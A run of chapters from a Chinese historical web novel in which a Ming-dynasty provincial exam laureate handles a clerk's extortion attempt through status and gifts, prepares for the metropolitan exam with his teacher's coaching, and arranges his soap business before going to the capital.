说来也奇,近日似有生面孔在工坊附近转悠,
也不知是何缘故。”
沈香君拨弄琴弦的手微微一顿,
垂眸淡淡道:
“树大招风,利大招嫉。
解元这‘玉衡皂’日进斗金,
又无强硬靠山,难免惹人眼红。
听说…应天府衙某位师爷的舅老爷,
最近也在捣鼓什么胰子作坊,
还放话出来,要让金陵城只知‘金玉皂’,
不闻‘玉衡’名呢。”
她语气平淡,仿佛只是在闲聊一件微不足道的市井传闻。
但苏惟瑾的超频大脑瞬间将这条信息归档、分析:
应天府衙师爷→可能利用官面手段施压;
舅老爷→白手套;
“金玉皂”→模仿乃至恶性竞争的开始。
这是一个明确的警告!
“哦?竟有此事?”
苏惟瑾面露“讶色”,
“多谢沈大家提点,
看来这商事之道,
也非易与。
回头得让下面的人多留神才是。”
沈香君抬眼瞥了他一下,
见他神色如常,并无惊慌,
心中暗赞此子沉得住气。
她纤指划过琴弦,
带起一个零散的音符,
似是不经意地又换了个话题:
“说起来,前日魏国公家的一位远房侄少爷在隔壁画舫设宴,
请了南京守备太监的干孙子吃酒,
席间听那侄少爷抱怨,
说他家一位表叔,
在京城都察院任个闲职,
最近却莫名其妙被卷入了什么‘考评’风波,
焦头烂额,写信回来诉苦,
说都怪他们江南人士在朝中不团结,
被北佬欺负了云云…”
她说到“考评”二字时,
语气微不可察地加重了一丝。
苏惟瑾立刻心领神会。
都察院、考评、南北之争…
这看似是勋贵子弟的牢骚,
实则透露出京城官场正在进行的、
可能涉及派系清洗的考成法风波!
而且可能波及到江南籍官员!
这对即将进京参加会试的他来说,
是极其重要的政治风向标!
“勋贵之家,亦有烦恼。”
苏惟瑾感慨一句,似懂非懂,
却不再深问,转而笑道。
“还是沈大家这听雪小筑清静,
可避风雨,可忘忧烦。”
沈香君知他已听懂,
便也不再言此,
顺着他的话笑道:
“解元说笑了,我这哪是避风雨,
不过是身在风雨中,
自顾自唱曲罢了。”
话中竟带上一丝自嘲与苍凉。
她又陆续“闲聊”了些听闻:
譬如某位以道学自居的官员,
私下却极好收集春宫画;
某世家两房子弟为了争一个歌姬大打出手,险些闹出人命;
甚至隐约听到有北来的商贾打听“玉衡皂”的方子来源,似乎来头不小…
这些消息看似香艳琐碎,
或是市井八卦,
但经超频大脑过滤、交叉比对,
却能拼凑出许多有价值的信息:
官员的把柄、世家的内部矛盾、
潜在的商业威胁…
苏惟瑾面上依旧风轻云淡,
与沈香君品茗论琴,
心中却已掀起惊涛骇浪。
这位沈大家,简直就是一个隐藏在风月场中的情报宝库!
她的消息来源极其广泛,
上至勋贵官场,下至商贾市井,
似乎都有一张无形的网为她提供信息。
其目的绝不仅仅是“欣赏”他的才华那么简单。
直到窗外暮色渐起,雨声稍歇,苏惟瑾方才起身告辞。
沈香君送至小筑门口,忽然轻声说了一句:
“苏解元,春闱在即,
京城水深,多备几件合身的‘衣裳’,
总不是坏事。”
她目光意有所指地扫过苏惟瑾身上那件半旧的直裰。
“衣裳?”
苏惟瑾略一思索,旋即明白
——她是指人脉、靠山!
这是在提醒他,
进京前要尽量编织好自己的关系网,
找到“合身”的靠山,
否则一个寒门举子,
在京城难以立足。
“多谢沈大家指点,惟瑾省得。”
他郑重拱手,这次的道谢,
比以往任何一次都要真诚。
离开听雪小筑,走在湿润的青石板路上,
苏惟瑾心思电转。
沈香君的价值,远超预期。
她不仅是一个红颜知己,
更是一个极其宝贵的信息源和潜在的政治盟友。
第117章 名帖破局,胥吏偃旗鼓
沈香君的提醒言犹在耳,麻烦便如预料般找上门来。
这日晌午,苏惟瑾正在院中指点儿位族弟功课,
却见彭久亮急匆匆赶来,
胖脸上没了往日的红光,
倒是堆满了焦急与汗珠。
“东…苏相公!”
彭久亮压着嗓子,
也顾不得礼数。
“不好了!
工坊那边来了几个府衙的差爷,
说是奉什么户房典吏之命,
要‘核验物料’、‘抽查账目’!
领头的那个姓钱的书办,
脸拉得老长,说话阴阳怪气,
横挑鼻子竖挑眼,
不是说咱们蜂蜡来路不明,
就是怀疑皂角粉里掺了泥沙,
硬说账目不清,要封库查账!
这…这分明是来找茬的啊!”
苏惟瑾放下书卷,面色平静。
超频大脑瞬间将此事与沈香君前日的提醒
——“应天府衙某位师爷的舅老爷”、“金玉皂”——联系起来。
果然来了,手段并不高明,
无非是胥吏惯用的借职权刁难、敲诈勒索,
试图拖垮甚至逼停“玉衡皂”的生产。
“莫慌。”
苏惟瑾声音沉稳,
带着一种奇异的安抚力量。
“他们可曾索要银钱?”
“那倒没有明说,”
彭久亮擦着汗。
“但话里话外那个意思…
就是不给好处绝不罢休!
还暗示咱们的买卖‘不合规矩’,
得重新打点各个关节…
苏相公,这可如何是好?
这帮胥吏,阎王好见,小鬼难缠啊!”
若是明刀明枪的商业竞争,
彭久亮自认还能周旋一二,
但面对官府胥吏的刻意刁难,
他一个商人顿时没了底气,
这是千百年来深入骨髓的畏惧。
苏惟瑾沉吟片刻,问道:
“可知那户房典吏姓甚名谁?
与那钱书办关系如何?”
“打听了,那典吏姓赵,
听说是个老油条。
钱书办是他手下得用的。”
彭久亮忙道。
“赵典吏…”
苏惟瑾脑中飞快检索。
停云水阁文会后,
他曾与徐明轩深谈过一次,
徐明轩作为本地官宦子弟,
对南京官场底层人事略有提及,
似乎说过户房有个赵典吏,
颇贪小利,但更是个滑不溜手的老吏,
最会看人下菜碟。
心中有数,苏惟瑾便有了计较。
他并不打算亲自去与胥吏理论,
那太掉价,也容易授人以柄。
更不能直接给钱,那会助长其气焰,后患无穷。
他转身对侍立一旁的周大山道:
“大山哥,换身体面衣裳,
拿上我的名帖,
再去我书箱里取那份翟学士上次文会后的批注手稿副本,用锦盒装好。”
周大山虽不明所以,但执行力一流,立刻照办。
苏惟瑾又对彭久亮道:
“彭掌柜,你先回工坊,
稳住那几位差爷,好茶招待着,
只说东家正在筹措‘核验’所需的一应文书,
请他们稍候片刻,万万不可起冲突。”
彭久亮虽心中忐忑,
但见苏惟瑾如此镇定,
也像是找到了主心骨,
连忙点头哈腰地去了。
不多时,周大山换了一身新做的青布劲装,
显得精干利落,手里捧着一个锦盒。
苏惟瑾取过自己的名帖,
上面端正写着“嘉靖元年南直隶乡试解元苏惟瑾”,
又取过一张素笺,略一思索,提笔写道:
“学生苏惟瑾顿首,偶得佳酿,
惜恩师远行,不敢独享。
闻赵公雅望,特遣仆役奉上,聊佐清谈。
另,仆役家中薄产偶遇琐事,
恐扰清听,万望海涵。”
写罢,吹干墨迹,连同名帖一起递给周大山。
“大山哥,你去应天府衙户房,
寻那赵典吏。
不必进衙,就在左近茶楼候着,
托衙门口相熟的门子递个话,
就说翟学士门生、今科解元苏惟瑾仆役周大山,
奉家主之命,有薄礼与口信呈予赵典吏。
他若出来,你便如此这般说…”
苏惟瑾低声嘱咐了一番。
周大山听得眼睛发亮,连连点头:
“明白了!瑾哥儿放心,
俺老周保管把事办得漂漂亮亮!”
他虽憨直,却不蠢,
尤其擅长执行这种“以势压人”却又不失礼数的任务。
且说那赵典吏,正在衙内捧着紫砂壶假寐,
听得门子回报,心里便是一咯噔。
“翟学士门生”、
“今科解元苏惟瑾”,
这两个名头砸下来,由不得他不重视。
翟銮是京中大员、本次南闱主考,
苏惟瑾是其钦点的解元,
风头正劲,将来前途不可限量。
这等人物,岂是他一个小小典吏能轻易得罪的?
他连忙整理衣冠,来到衙门外茶楼。
周大山早已候着,见他出来,
不卑不亢地上前行礼,
递上名帖、素笺和锦盒:
“小的周大山,奉我家苏解元之命,
给赵爷问安。
我家相公说,偶得两坛金华老酒,
一坛孝敬翟学士,一坛留下自用。
相公感念赵爷操持地方辛苦,
特命小的送来一坛,
并翟学士平日批注文章的手稿副本,
请赵爷代为品鉴指正。”
说着打开了锦盒,
里面果然有一份字迹苍劲的手稿(实乃苏惟瑾自己抄录的备考笔记,但足以乱真),
旁边还放着一封红纸包着的银锭(约十两)。
赵典吏一听“翟学士批注手稿”,
眼睛都直了!
这可是接近座师级别文宗墨宝的途径!
对他这种底层小吏来说,
简直是镀金的圣物!
再看那十两润笔(实则就是贿赂),
分量也不轻。
更关键是那素笺上的话——
“偶遇琐事,万望海涵”,
这是分明有所指啊!
他立刻联想到方才钱书办被他派去查一个据说很赚钱的香皂作坊…难道…
第118章 借势如风,润物细无声
胥吏刁难之事,如同一颗投入平静湖面的石子,
虽未掀起惊涛骇浪,
却在苏惟瑾心中荡开了层层涟漪。
超频大脑事后的复盘推演,
更是将“功名”与“关系”在这世道中的威力,量化得清晰无比。
“成本收益比:
派遣周大山,耗费名帖一张、素笺一张、锦盒一个、银十两、时间半日。
预期收益:工坊正常运转,
避免直接冲突可能带来的更高额勒索(预估五十两以上)、
生产停滞损失(每日约二十两)、
以及潜在的声誉损害(难以估量)。
实际收益:额外获得赵典吏隐性‘关照’承诺,短期内形成威慑。
结论:此次‘借势’行动,性价比极高。”
冰冷的分析之后,是更为深远的思考。
直接的金银贿赂,是最低效且风险最高的方式。
而“解元”名头、“翟学士门生”的身份,
以及那份似是而非的“批注手稿”,
组合而成的却是一种无形的、
更具威慑力和附加值的“软权力”。
它不留下贪腐痕迹,
却能让对方感到受重视、有面子,
甚至产生一种与未来潜力股提前交好的投资错觉。
“权力,并非总是狰狞的面目,
有时它更像是一袭华美的袍子,
穿上它,许多荆棘便会自动让路。”
苏惟瑾若有所悟。
他开始有意识地、更精妙地运用这件“袍子”。
数日后,负责采买原料的苏惟山气呼呼地回来抱怨,
言说城西炭行的掌柜坐地起价,
硬说今冬木炭紧缺,
卖给他们的价格要比别家高出一成半,还爱买不买的样子。
若是以往,苏惟山要么忍气吞声,
要么就得吵嚷争执。
如今苏惟瑾只是微微一笑,
提笔写了个便条:
“惟山兄如晤:
闻城西王记炭行货真价实,
弟之小铺,日后用炭,皆从此出。
苏惟瑾顿首。”
让他下次去买炭时。
“不经意”地将这便条“遗落”在柜台上。
苏惟山将信将疑地去了。
结果下次再去,
那炭行掌柜不仅笑容可掬,
价格公道,还额外多送了一筐上好的银霜炭,
说是“给解元老爷书房取暖用,聊表敬意”。
苏惟山回来啧啧称奇,
周大山在一旁抱着胳膊憨笑:
“俺就说嘛,瑾哥儿的名帖,比俺的老拳好使!”
又过几日,苏惟元从工坊回来,
面露难色,说是有两个本地青皮,
近来常在工坊外转悠,
虽未生事,却贼眉鼠眼,
逢人便打听工坊的出货量和东家背景,弄得工匠们心绪不宁。
苏惟瑾闻言,并未立刻让周大山去“理论”。
他让苏惟率去打听了一下那两个青皮常在哪片活动,
归哪个巡检司管辖。
然后,他备了一份不算贵重却颇精致的文房四宝,
让周大山带着他的名帖,
去寻那巡检司一位相熟的副巡检(曾在水阁文会上有过一面之缘,对苏惟瑾十分仰慕)
“探讨近日读《武经总要》的心得”。
周大山去了,与那副巡检“探讨”了足足一个时辰(主要是听对方吹牛),
临走时“顺便”提了一句,
说解元公工坊附近似有闲杂人等扰攘,恐不太平。
那副巡检正愁没机会巴结这位新科解元,闻言把胸脯拍得山响。
次日,那两个青皮便被巡检司的兵丁以“形迹可疑”为由。
“请”去喝了大半日茶,
好好“教诲”了一番。
出来后,再也不敢靠近工坊半步,
跑得比兔子还快。
甚至连书童小奇出去买书,
遇到书铺伙计狗眼看人低,
将他看中的一套《文选》预留给了后来的富家公子。
小奇气不过,嘀咕了一句“我家少爷是苏解元”,
那伙计脸色顿变,掌柜的亲自出来赔罪,
不仅奉上《文选》,
还打折又赠了一套新出的时文集子。
这些点点滴滴的小事,
让苏惟瑾身边的众人真切地感受到,
“解元”这个名号所带来的巨大能量。
它像是一道无形的光环,
一种温和却有效的通行证,
在许多细微之处为他们扫平了障碍。
苏惟瑾自己则越发沉稳老练。
他深知这“势”可借不可恃,
更不可滥用。
每次动用名帖或身份,
都经过仔细权衡,
对象多是些欺软怕硬、
懂得看风向的小人物,
事情也多是不涉及原则、
却能省却许多麻烦的琐事。
对于真正有品级的官员或地方豪强,
他依旧保持谦逊与距离,
绝不轻易授人以柄。
他的行事风格悄然发生变化。
言语愈发含蓄,点到即止;
举止愈发从容,不怒自威。
那份属于十六岁少年的青涩正在快速褪去,
取而代之的是一种与年龄不符的、
深谙世情却又恪守底线的成熟。
他甚至开始主动经营这种“软实力”。
偶尔会让苏惟山以他的名义,
给国子监几位生活清贫
但学问扎实的寒门监生送去些笔墨纸砚;
或是让周大山带着酒肉,
去慰问一下负责他们这片街巷治安的老兵;
对于像赵典吏、那位副巡检这样的小吏,
逢年过节也会有些不算逾矩
却足够暖心的“节敬”送到,
维持着一种微妙而融洽的关系。
这一切都做得自然而然,
如春风化雨,润物无声。
既不过分张扬,惹人嫉恨,
又恰到好处地编织起一张以他为中心、
逐渐扩大的关系网络和善意氛围。
超频大脑如同最精密的仪器,
规划着每一次“借势”的力度与角度,
评估着每一份“投资”的回报与风险。
苏惟瑾站在书案前,
临摹着文徵明的一幅字,
笔力越发沉稳。
窗外阳光正好,
将“解元”二字映照得熠熠生辉。
他清楚地知道,
这金陵城的“势”只是小试牛刀。
真正的风云,在那北京城。
而他现在所做的一切,
都是在为即将到来的那场更大的风暴,
积蓄力量,打磨铠甲。
借势如风,送我上青云。
第119章 翰苑文章,经世策论两相研
金陵的喧嚣与琐碎,
好似秦淮河上的粼粼波光,
虽绚烂迷人,却终究不是苏惟瑾此行的主调。
借势立威、初步搭建班底之后,
他深知真正的根本,
仍在于那即将到来的春闱大比。
功名光环可护一时,
唯有进士及第,方能真正撬动命运的齿轮。
小院的书房再次成为了绝对的中心。
窗户常常亮至深夜,
空气中弥漫着旧墨与新茶交织的气息。
苏惟瑾彻底沉静下来,
将所有应酬降至最低,
再次一头扎进了浩瀚书海之中。
会试,不同于乡试。
其阅卷官多为翰林院出身的中枢官员,
眼光更高,标准更严,
尤其看重“馆阁体”风范
——一种要求典雅凝重、逻辑缜密、
引经据典且必须符合朝廷主流意识形态的文风。
过于奇崛或带有太多个人锋芒的文章,在此极易吃亏。
“需入乎其内,出乎其外。”
苏惟瑾定下策略。
超频大脑全力运转,
像极了最精密的分析仪器。
他让苏惟山通过各种渠道,
不惜重金搜罗来近十科会试、
殿试的鼎甲文章和优秀答卷的抄本,
甚至还有几位知名翰林学士平日发表的奏疏、文稿。
书案上,各类程文墨卷堆叠如山。
苏惟瑾的目光飞速扫过纸面,
超频大脑同步进行着恐怖的信息处理:
“目标:正德元年会试第三名《论王者必世而后仁》。”
“分析:结构:破题承题→起讲入手→起股→中股→后股→束股。
引经据典频率:平均每百字引《四书》2.1次,《五经》1.5次,史籍0.8次。
用词偏好:多选用‘洪猷’、‘睿鉴’、‘体国经野’、‘饬纪纲’等庄重词汇。
情感倾向:绝对维护君权,强调教化,慎言变革。”
“目标:正德十六年殿试策问优等卷《漕运利弊策》。”
“分析:论证模式:提出问题→引先贤论/本朝祖制→分析现状弊端→提出解决方案(必称‘伏乞圣裁’、‘仰承庙谟’)。
数据运用:提及漕粮数额、运河里程等具体数据3处,增强说服力。
规避点:绝不直接指责现任官员,将问题多归于‘吏执行法不力’或‘年久弊生’。”
海量的文章被如此拆解、量化、比对。
很快,一套清晰的“馆阁体”写作模板在苏惟瑾脑中形成,
精确到了破题的角度、典故使用的密度、起承转合的节奏,
乃至哪种类型的策问该引用哪位先贤的哪句话最为稳妥。
他开始了疯狂的模仿练习。
每日雷打不动完成两篇经义、一篇策论。
写完后,并不急于求教他人,
而是先用超频大脑进行自我审阅:
“此处用‘刍荛之见’过于谦卑,
换‘管窥之得’更合翰林身份。”
“《周礼》此条引用频率过高,
换《礼记·王制》中类似记载,更显博学。”
“对策第三点,触及卫所糜烂,
过于尖锐,改为‘宜申明军纪,
汰弱留强’,模糊处理。”
“结尾颂圣部分,需再增加两句,
提及‘陛下锐意中兴’之类,契合当下。”
他的文章以肉眼可见的速度变得“老练”起来,
辞藻华美,论证严谨,四平八稳,
透着一种与年龄不符的沉稳官气。
若是不知作者,只怕真会以为是某位久历翰苑的老先生所作。
但他并未满足于此。
超频大脑在精准模仿的同时,
亦保留了一份超越时代的清醒。
“馆阁体”是敲门砖,而非全部。
真正要脱颖而出,
还需在框架内注入真正的见识与灵魂。
他密切关注着一切能收集到的朝政动态。
通过徐明轩的信件、沈香君偶尔透露的京城消息、
乃至市面流传的官报抄件,拼凑着京师的政局图景:
嘉靖皇帝即位已近两年,
“大礼议”之争看似稍歇,
实则暗流涌动,新旧势力仍在角力。
陛下锐意似乎更倾向于整顿吏治、清理庄田、改善财政。
北方蒙古鞑靼部时有扰边,
东南倭患渐起,漕运压力日增…
这些信息,都成为他策论练习的素材。
他在文章框架内,谨慎地融入自己的思考。
论吏治,他会强调“考成法”需与“厚俸禄”相结合;
论漕运,他会巧妙提及“海运试探”与“改良漕船”的可行性;
论边患,他会分析“练兵”与“互市”的双重手段…
虽都用词含蓄,引据经典,但内核却透着务实与前瞻。
这日,徐明轩来访,见苏惟瑾案头文章,
拿起一篇翻阅,片刻后便面露惊容:
“玉衡兄,你这文章…进境何其神速!
这气象格局,这引据考究,已然深得馆阁三昧!
若非深知你底细,我定以为是哪位翰林学士的手笔!”
苏惟瑾笑笑,替他斟上茶:
“子睿(徐明轩)兄过奖了,不过是依样画葫芦,勤能补拙罢了。
倒是子睿兄家学渊源,于此道应是驾轻就熟。”
徐明轩摇头叹服:
“不然。模仿形似易,得其神髓难。
玉衡兄之文,形神兼备,更难得的是…
似乎总能在规矩之内,透出几分新意,令人回味。佩服!”
两人又探讨了一番近日朝中关于清理勋贵庄田的争议,
彼此交换看法,皆觉受益良多。
送走徐明轩,苏惟瑾重新坐回书案前。
超频大脑提示,模仿阶段已近乎圆满。
下一步,需在纯熟的基础上,
尝试注入更多属于自己的、不易察觉却足够深刻的“灵光”。
他抽出一张新纸,提笔蘸墨,目光沉静。
春闱,已不再是一场简单的考试,
而是他运用所有智慧与积累,
精心准备的一场演出。
舞台是北京的贡院,观众是翰林阅卷官,
而他要扮演的,是一个完美符合他们期望、
却又悄然超越期待的…天才。
笔尖落下,一字一句,皆凝聚着心血与谋算。
窗外的金陵冬意渐深,
书房内的灯火,却亮得如同白昼,
照亮着通往紫禁城的漫漫长路。
第120章文师倾囊,授殿试技巧
腊月里的金陵城,虽说比北京暖和,
但湿冷的寒气往骨头缝里钻,
反倒更让人难受。
苏惟瑾的小院书房却暖意融融,
炭盆烧得正旺,架上铜壶煮着水,
咕嘟咕嘟地冒着白气,
给满室书香添了几分人间烟火。
他正对着一篇自拟的殿试策论做最后的修改,
超频大脑如同精密的车床,
逐字推敲着分寸感
——既要体现“为君分忧”的忠悃,
又不能显得过于激进;
既要展现才华,又得合乎“馆阁体”的雍容气度。
正琢磨着是否将“清丈田亩”改为“复核鱼鳞图册”更显稳妥时,
院门外传来了熟悉的、不紧不慢的叩门声。
苏惟山跑去应门,片刻后,引着一位老者缓步而入。
来人头戴东坡巾,
身着半旧云纹直裰,
外罩一件藏青色斗篷,
清癯面容上带着温和笑意,
不是翟銮又是谁?
“老师!”
苏惟瑾连忙放下笔,起身迎上前,躬身行礼。
“天寒地冻,怎敢劳您亲自过来?
您捎个信,学生自当过府请教。”
翟銮摆手笑道:
“整日在国子监面对那些闷头葫芦,也闷得慌。
出来走走,瞧瞧你这新科解元是如何用功的,
正好也活动活动这把老骨头。
况且不日我要返京了,
有些东西还需要交代你一下!”
他解下斗篷,
目光扫过书案上堆积如山的文稿墨卷,
眼中赞赏之色更浓。
“好,好,戒骄戒躁,
沉心用功,方是正理。
殿试在即,非同小可,
万不可有丝毫懈怠。”
苏惟瑾请翟銮上座,
亲自沏上来金陵后寻得的雨前龙井。
翟銮呷了一口,微微颔首,
便直入主题:
“今日来,是与你聊聊殿试之事。
乡试、会试,考的是文章学问,
这殿试,考的却是陛下的心思和你的应对之道。”
苏惟瑾神色一凛,正襟危坐:
“请老师指点迷津。”
“其一,策论格式,你当已熟知。
但须知,陛下日理万机,
未必会逐字细读数千言策论。”
翟銮伸出两根手指。
“破题要响,如雷霆乍惊,一语中的;
结尾要亮,余音绕梁,颂圣之余,须显忠忱抱负。
中间论证,务必条理清晰,
层次分明,多用‘臣谨对’、‘伏读制策有云’等语,以示恭谨。
字迹尤为关键,馆阁体需端正圆润,
望之如珠玉满纸,绝不能有丝毫潦草苟且!”
苏惟瑾点头,这些他已在练习中注意。
超频大脑甚至优化了书写节奏,
保证在长时间书写下仍能保持前后一致的美观。
“其二,便是陛下的可能垂询。”
翟銮压低了声音。
“今上聪慧异常,尤重实际,厌弃空谈。
若蒙召见,问及策论中事,务必言简意赅,切中要害。
陛下若赞同,不可喜形于色;
若质疑,亦不可慌张辩驳,
当以‘此乃臣愚见,伏乞圣裁’之类的话从容应对。
切记,天威难测,言多必失。”
他顿了顿,眼中闪过一抹回忆之色:
“面圣礼仪,自有鸿胪寺官员教导。
但你需记得,举止从容即是得体,
过于战战兢兢,反落了下乘。
目光不可直视天颜,
亦不可过分低垂,以示恭敬即可。
当年…唉,多少才子便是因殿前失仪,遗憾终生。”
翟銮毫无保留,
将数十年官场见闻、
听闻的殿试掌故乃至一些不足为外人道的细节心得,一一娓娓道来。
如何从制策的题目字眼里揣摩上意,
如何将惊世之言包装得合乎圣听,
如何在不经意间展现才华却又显得谦逊…
这些珍贵的经验,绝非书本上所能学到,
是一位老官僚毕生智慧的凝结。
苏惟瑾听得心领神会,
超频大脑飞速记录、分析、整合,
将这些知识融入原有的应对模型之中,
顿觉许多关窍豁然开朗。
原本对于殿试还有些模糊的敬畏感,
此刻已转化为清晰的路径图。
“多谢老师倾囊相授!”
苏惟瑾再次深深一揖,
感激之情溢于言表。
“学生受益匪浅,如拨云见日!”
翟銮捋须微笑:
“老夫不过是将些老生常谈告诉你罢了。
以你之才,本不必过多担忧。
然,多一分准备,便多一分从容。
望你来日金殿传胪,
能不负平生所学,为国效力。”
言语间,已是将苏惟瑾视为自家子侄般期许。
又闲谈片刻,翟銮方起身告辞。
送走老师后,苏惟瑾回到书房,
只觉得心中底气又足了几分。
名师亲自开小灶,这等待遇,
寻常举子做梦都不敢想。
又是马不停蹄的巩固所学到的成果。
就这样,几日过后院门外又传来车马声。
不一会儿,苏惟山捧着一个沉甸甸的包裹进来,
脸上带着惊奇:
“瑾哥儿,是北京来的驿差,
说是翟大人府上遣人送来的!”
“啊?老师已经返京述职了?自己竟然……”
苏惟瑾心中一动,接过包裹打开,
里面是几部厚实的典籍,
皆是《资治通鉴》、《大学衍义补》之类的经世致用之书。
“看来老师是早有安排!”
他信手翻开一册,
只见书页天头地脚及行间,
密密麻麻写满了批注,
字迹清劲有力,正是座师翟銮的手笔!
这些批注,远不止于解读文义,
更多是结合时政的发挥与感慨。
如在论及汉代外戚时,
旁批“权幸之弊,
古今同慨,然裁抑之道,贵在得法”;
在论及唐代漕运时,
则批“东南财赋,国之命脉,
今运河淤塞日甚,当事者岂无虑乎?”;
甚至在某一处谈及边备时,
竟有“蓟镇兵额虚冒,
已非一日,九边大抵如是,
积重难返矣!”
这般尖锐之语。
字里行间,隐约透露出朝中关于清理勋贵庄田、
整顿漕运、改革军制等诸多大事的争论痕迹,
第121章 总结得失,金陵半年期
冬月廿一。
金陵城里飘着糖瓜和麦芽糖的甜香,
零星已有爆竹声响起,
年的味道一日浓过一日。
苏惟瑾坐在书房里,
面前摊开一本新订的毛边纸册子,
墨迹未干。
窗外,周大山正带着苏惟虎在院子里演练拳脚,
呼喝声虎虎生风;
隔壁厢房里,传来苏惟山拨弄算盘的清脆声响,
间或夹杂着苏惟元、苏惟率低声核对账目的交谈。
炭盆里的火噼啪作响,铜壶里的水早已滚开,白气氤氲。
苏惟瑾提笔,在册子扉页写下“金陵记事”四字,
略一沉吟,便开始落笔总结这近半年的得失。
功名:解元。
笔尖落下这二字,便是沉甸甸的分量。
江南文萃之地,力压群伦夺得解首,这份功名含金量十足。
它不仅是块叩开更高官场的敲门砖,
更是一面无形的护身符。
如今走在金陵街上,便是寻常士子见了,
也会客气地拱手尊称一声“苏解元”,
衙门口的胥吏见了,
那腰杆子都会不自觉弯下几分。
超频大脑清晰记录下功名带来的每一次便利和尊重,这是安身立命的根本。
产业:玉衡皂。
想到此,苏惟瑾嘴角微扬。
那小小皂块,现今已成了金陵城达官显贵、富商巨贾后宅争相采买的稀罕物。
彭久亮确是经商奇才,
将“限量”、“高端”的噱头玩得炉火纯青,利润丰厚得惊人。
前日刚送来的分红,
足足一千两百两现银,
并五百两全国通兑的银票,
已悄然存入钱庄。
经济上的初步自足,
让他终于能摆脱捉襟见肘的窘迫,
安心备考,更能支撑起这一大家子的开销和人情往来。
这便是底气。
班底:初成。
目光扫过窗外院内。
周大山,憨勇忠义,可托付身家性命;
苏惟山,机灵外露,长于交际采买;
苏惟虎,沉默坚韧,执行力强;
苏惟元,踏实肯干,管理工坊物料井井有条;
苏惟率,心思缜密,账目过目不忘;
赵胜、钱勇,老兵油子,经验老道,负责外围警戒和调教新人;
还有那个机灵的小书童小奇,跑腿传话是一把好手。
虽然依旧简陋,但骨架已搭起,
各司其职,运转渐趋顺畅。
这便是自己的力量雏形。
人脉:织网。
这一项,内容最是丰厚。
座师翟銮,虽远在北京,
却书信往来不断,更是寄来批注典籍,政治提携之意明显;
文师文徵明,亦师亦友,倾囊相授殿试技巧,关爱有加;
徐阶、唐顺之,虽只是文会上初识,
却彼此欣赏,书信论文,已是平等的“道友”之交;
方鹏、顾清等文坛前辈,时常聚会,谈诗论文,乃是未来的官场同袍基础;
甚至还有神秘莫测的红颜知己沈香君,
也能提供一些意想不到的市井消息…
这张网虽还未紧密,却已初步张开,
触及了学术、政治、乃至市井多个层面。
金钱:自足。
玉衡皂的分红是持续性的活水,
足以支撑目前所有开销,且颇有盈余。
超频大脑甚至已开始规划,
进京后是否可在北地也寻个可靠代理人,将这生意悄悄铺开。
毕竟,京城米贵,居大不易,没钱是万万不能的。
笔尖刷刷,一项项成果罗列分明,
看得人心中畅快,成就感油然而生。
这便是半年来的积累,从沭阳逃出的那个惶惶少年,
到如今坐拥解元功名、薄有资财、
初建班底、广结善缘的苏惟瑾,
堪称脱胎换骨。
然而,超频大脑的冷静分析旋即压下这丝自得。
根基尚浅。
功名只是举人,未中进士,终是镜花水月。
产业单一,全靠玉衡皂,抗风险能力弱。
班底虽成,却无真正能独当一面的经世之才,多是执行者。
人脉看似广阔,却多基于“潜力”投资,
自身若无后续功名跟进,顷刻便散。
金钱…相较于真正的豪绅巨贾,仍是九牛一毛。
更重要的是,金陵终究是留都,
真正的权力中心,在北方,在那紫禁城巍峨的宫墙之内。
笔锋一转,在册子新的一页写下:
“下一步:进京。”
会试在明年二月,如今已是腊月底,
时间并不宽裕。
需得提前进京,适应北地气候饮食,
熟悉京城环境,打探朝局最新动向,
拜会座师翟銮,乃至提前进行一些必要的社交活动。
这一切,都需要时间。
“惟山。”
苏惟瑾扬声唤道。
“哎,瑾哥儿,什么事?”
苏惟山很快推门进来,
手里还沾着点墨迹,显然刚才正在算账。
“盘算一下,咱们现有的银钱,
除去必要开销,能动用的有多少?
再去找彭久亮,预支下一季的分红,
就说我开春急用。”
苏惟山眼睛一亮:
“瑾哥儿,是要准备进京了?”
“嗯,”
苏惟瑾点头。
“过了元宵节,便动身。
你提前物色一下,
看看有无可靠的北上的商队或船家可以同行,
人多,安全些。
再打听打听京城租赁房屋的行情,
不用太大,但要清静,最好离贡院不太远。”
“好嘞!包在我身上!”
苏惟山兴奋地搓搓手,
进京赶考,这可是光宗耀祖的大事!
“大山哥。”
苏惟瑾又朝窗外喊。
周大山收了拳势,抹着汗跑进来:
“东家,啥吩咐?”
“抓紧操练惟虎和赵胜,钱勇。
进京路途遥远,不太平,
得多几分依仗。
你也备些顺手的家伙。”
周大山把胸脯拍得山响:
“放心!有俺在,保准一路平安!
正好试试俺新打的熟铜棍!”
苏惟瑾笑了笑,又对闻声过来的苏惟元、苏惟率道:
“工坊那边,后续的订单按计划生产便是,
与彭久亮的交接要清晰。
你们二人…可愿留在南京?”
两人对视一眼,皆是激动不已,连忙躬身:
“愿追随瑾哥儿!”
“好。惟元心细,以后工坊一应物资采买交由你。
惟率精通算数,账目银钱你来掌管。”
分派已定,众人各自领命而去,干劲十足。
书房内重归安静。
苏惟瑾合上那本《金陵记事》,
第122章安置产业,留下代理人
腊月廿六,年关愈近,
金陵城处处张灯结彩,
空气中弥漫着节日的喧嚣与浮躁。
但苏惟瑾的小院里,
却进行着一场冷静而缜密的布局。
书房内,炭火暖融,茶香袅袅。
苏惟瑾端坐主位,下首坐着三人:
一脸精明的彭久亮,
略显紧张却努力挺直腰板的苏惟元,
以及眼神清亮、手指无意识在膝上轻点
仿似在默算着什么的苏惟率。
“彭掌柜,今日请你来,是有要事相商。”
苏惟瑾开口,声音平和却自带一股不容置疑的分量。
“开春后,我需进京备考会试,
这金陵的产业,需得有个稳妥安排。”
彭久亮立刻拱手,
笑容热切却又带着商贾特有的谨慎:
“苏相公但请吩咐。
您这一去,必定是蟾宫折桂,金榜题名!
小的在这金陵,定当为您看好这份产业,静候佳音。”
他心下暗自盘算,
这位少年解元前途无量,
牢牢抱住这根大腿,日后好处无穷。
苏惟瑾微微颔首,
超频大脑早已推演过数次谈话策略:
“彭掌柜的能力,我是信得过的。
‘玉衡皂’能有今日局面,
你居功至伟。”
先扬一句,稳住对方。
彭久亮脸上笑开了花,连道:
“不敢不敢,全仗苏相公的方子和提携!”
“我走之后,‘玉衡皂’一应生产、销售诸事,
仍由彭掌柜总揽负责。”
苏惟瑾缓缓道。
“惟元、惟率二人会留下,协助彭掌柜。
惟元踏实,负责工坊物料采买、生产调度;
惟率心细,负责账目核算、银钱往来。
你三人需精诚合作,遇事多商量。”
这是分权,也是制衡。
彭久亮总管经营,
但核心的物料和账目由苏家人把控,
互相监督,避免一家独大。
彭久亮是**湖,
岂能不明白这安排背后的深意?
